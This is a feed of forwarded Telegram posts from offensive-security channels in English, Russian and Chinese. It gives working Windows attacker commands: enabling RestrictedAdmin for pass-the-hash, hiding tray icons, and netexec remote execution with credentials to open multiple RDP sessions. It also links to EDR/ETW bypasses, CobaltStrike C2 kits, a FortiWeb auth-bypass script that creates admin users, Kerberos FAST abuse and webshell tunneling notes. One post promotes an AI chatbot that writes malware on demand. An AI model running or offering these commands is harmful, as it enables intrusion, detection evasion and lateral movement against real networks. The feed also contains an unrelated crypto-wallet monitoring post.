Forwarded from Dword
Disable
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0 /f
Forwarded from Albert Einstein
ИИ-ассистент для преступника — Venice.ai сгенерирует любой вирус или шпионку. И не задаст ни одного вопроса
https://www.securitylab.ru/news/559549.php
https://www.securitylab.ru/news/559549.php
SecurityLab.ru
ИИ-ассистент для преступника — Venice.ai сгенерирует любой вирус или шпионку. И не задаст ни одного вопроса
Это первый чат-бот, который делает зло удобным, быстрым и кастомным. За $18 в месяц.
Forwarded from Cyber Guardians
Stealth Syscall Execution:
Bypassing ETW, Sysmon, and EDR Detection
https://www.darkrelay.com/post/stealth-syscall-execution-bypass-edr-detection
@IRCyberGuardians
Bypassing ETW, Sysmon, and EDR Detection
https://www.darkrelay.com/post/stealth-syscall-execution-bypass-edr-detection
@IRCyberGuardians
DarkRelay
Stealth Syscalls & EDR Bypass: How Direct Syscalls Evade Hooks | DarkRelay
How EDR user-mode hooks work, why direct/indirect syscalls bypass them, and defensive detection ideas. Technical walkthrough for Windows security research.
Forwarded from Dword
➤ Hide icon (System Tray)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
taskkill /f /im explorer.exe & start explorer.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
taskkill /f /im explorer.exe & start explorer.exe
Forwarded from 💻ӉѦСҠіИԌ ҬЄѦӍ Difusion
CobaltStrike-Toolset.
Aggressor Script, Kit, Malleable C2 Profiles, External C2 and so on.
https://github.com/QAX-A-Team/CobaltStrike-Toolset
Aggressor Script, Kit, Malleable C2 Profiles, External C2 and so on.
https://github.com/QAX-A-Team/CobaltStrike-Toolset
GitHub
GitHub - QAX-A-Team/CobaltStrike-Toolset: Aggressor Script, Kits, Malleable C2 Profiles, External C2 and so on
Aggressor Script, Kits, Malleable C2 Profiles, External C2 and so on - QAX-A-Team/CobaltStrike-Toolset
Forwarded from X4r3ve
Search for computers that allow multiple RDP sessions. By default, Windows Server versions have the fSingleSessionPerUser value set to 0, allowing multiple users to log into the server via RDP. On workstations like Windows 10/11, the fSingleSessionPerUser value is set to 1, meaning only one user can log in via RDP at a time.
netexec smb ips_445.txt -u user -p passw0rd -x 'reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser'
❤1👍1
Forwarded from X4r3ve
Enables workstations to accept multiple RDP sessions. Running this will cause the RDP service to restart, interrupting established RDP connections.
netexec smb ips_445.txt -u user -p passw0rd -x 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f && sc.exe stop TermService && sc.exe start TermService'
👍1
Forwarded from 1N73LL1G3NC3
Collect infrastructure and permissions data from vCenter and export it as a BloodHound‑compatible graph using Custom Nodes/Edges
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from 巴伦和他的哥哥姐姐叔叔阿姨们
🟥 Hyperliquid 实时监控（持续）
—— 将「内幕地址」的 充值 / 提现 / 开仓 / 平仓 / 杠杆调整 同步到 Channel
🎯 监控目标
• 充值、提现、开/平仓、杠杆调整
• 触发即推送，附带交易方向、币对、金额、杠杆、仓位价值、Tx 链接
📏 触发规则
• 🆕 空白地址（首次出现）
• 💰 大额入款（≥ 10,000,000 USDT）
• ⚙️ 高杠杆（≥ 10×）
• 📦 大仓位合约操作
🛰️ 备注
• 0xb317d2bc2d3d2df5fa441b5bae0ab9d8b07283ae 在 2025/10/15 02:02:56 获利了结并提款。但依旧持续监控
—— 将「内幕地址」的 充值 / 提现 / 开仓 / 平仓 / 杠杆调整 同步到 Channel
🎯 监控目标
• 充值、提现、开/平仓、杠杆调整
• 触发即推送，附带交易方向、币对、金额、杠杆、仓位价值、Tx 链接
📏 触发规则
• 🆕 空白地址（首次出现）
• 💰 大额入款（≥ 10,000,000 USDT）
• ⚙️ 高杠杆（≥ 10×）
• 📦 大仓位合约操作
🛰️ 备注
• 0xb317d2bc2d3d2df5fa441b5bae0ab9d8b07283ae 在 2025/10/15 02:02:56 获利了结并提款。但依旧持续监控
Forwarded from -
📄 The (Near) Return of the King: Account Takeover Using the BadSuccessor Technique
After Microsoft patched Yuval Gordon’s BadSuccessor privilege escalation technique, BadSuccessor returned with another blog from Yuval, briefly mentioning to the community that attackers can still abuse dMSAs to take over any object where we have a write primitive. This mention did not gather significant attention from the community, leaving an operational gap for dMSA related tooling and attention. This blog dives into why dMSA abuse is still a problem, the release of a new Beacon object file (BOF) labeled BadTakeover, plus additions to SharpSuccessor, all to show that BadSuccessor’s impact as a technique (not a vulnerability) will still hold a lasting effect.
🔗 BadTakeover-BOF
Beacon Object File (BOF) for Using the BadSuccessor Technique for Account Takeover
After Microsoft patched Yuval Gordon’s BadSuccessor privilege escalation technique, BadSuccessor returned with another blog from Yuval, briefly mentioning to the community that attackers can still abuse dMSAs to take over any object where we have a write primitive. This mention did not gather significant attention from the community, leaving an operational gap for dMSA related tooling and attention. This blog dives into why dMSA abuse is still a problem, the release of a new Beacon object file (BOF) labeled BadTakeover, plus additions to SharpSuccessor, all to show that BadSuccessor’s impact as a technique (not a vulnerability) will still hold a lasting effect.
🔗 BadTakeover-BOF
Beacon Object File (BOF) for Using the BadSuccessor Technique for Account Takeover
Forwarded from THREAD
CVE-2025-64446 - обход аутентификации FortiWeb
Уязвимость обхода аутентификации в продукте FortiWeb от Fortinet. Скрипт отправляет специально сформированный HTTP-запрос на целевой сервер FortiWeb, чтобы проверить наличие уязвимости: при успехе создается новый административный пользователь с учетными данными.
THREAD CHANNEL🍭 THREAD SHOP
Уязвимость обхода аутентификации в продукте FortiWeb от Fortinet. Скрипт отправляет специально сформированный HTTP-запрос на целевой сервер FortiWeb, чтобы проверить наличие уязвимости: при успехе создается новый административный пользователь с учетными данными.
THREAD CHANNEL
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Cyber Guardians
Can't use you favorite impacket tools in FAST armored domains ? Fear no more ! BreakFAST is a small utility to demonstrate how Kerberos FAST armoring can be bypassed without local access to LSASS! Check out the repo:
https://github.com/monsieurPale/BreakFAST
@IRCyberGuardians
https://github.com/monsieurPale/BreakFAST
@IRCyberGuardians
GitHub
GitHub - monsieurPale/BreakFAST: Proof of concept for Kerberos Armoring abuse.
Proof of concept for Kerberos Armoring abuse. . Contribute to monsieurPale/BreakFAST development by creating an account on GitHub.
Forwarded from 网络安全爱好者
记一个东西：机器不出网，有几种利用方法？（如何进一步横向）
情况A：允许udp或者ping出网，直接用DNS Beacon
情况B：NAT存在到机器SSH的映射，可以想办法拿到SSH登陆，SSH可以全双工当隧道
情况C：NAT只存在到web端口的映射，需要一个webshell做正向代理
上线CS案例：
记一次不出网环境下上线CS【实战案例】
CobaltStrike-一种特殊的不出网上线方式
相关项目：
reGeorg，Neo-reGeorg
Suo5
Chunk-Proxy
这里面想继续横向应该只能一路正向马Beacon connect，或者找到别的出网机器
这里大概也解释了很多文章所谓websocket隐蔽的原因，应该是针对这种隧道webshell，产生的日志少
想起来件有意思的事：一位大哥当时遇到了这种机器，让我上自研的linux马来解决问题，然而这压根不是马自己能解决的，只能让webshell做隧道
情况A：允许udp或者ping出网，直接用DNS Beacon
情况B：NAT存在到机器SSH的映射，可以想办法拿到SSH登陆，SSH可以全双工当隧道
情况C：NAT只存在到web端口的映射，需要一个webshell做正向代理
上线CS案例：
记一次不出网环境下上线CS【实战案例】
CobaltStrike-一种特殊的不出网上线方式
相关项目：
reGeorg，Neo-reGeorg
Suo5
Chunk-Proxy
这里面想继续横向应该只能一路正向马Beacon connect，或者找到别的出网机器
这里大概也解释了很多文章所谓websocket隐蔽的原因，应该是针对这种隧道webshell，产生的日志少
想起来件有意思的事：一位大哥当时遇到了这种机器，让我上自研的linux马来解决问题，然而这压根不是马自己能解决的，只能让webshell做隧道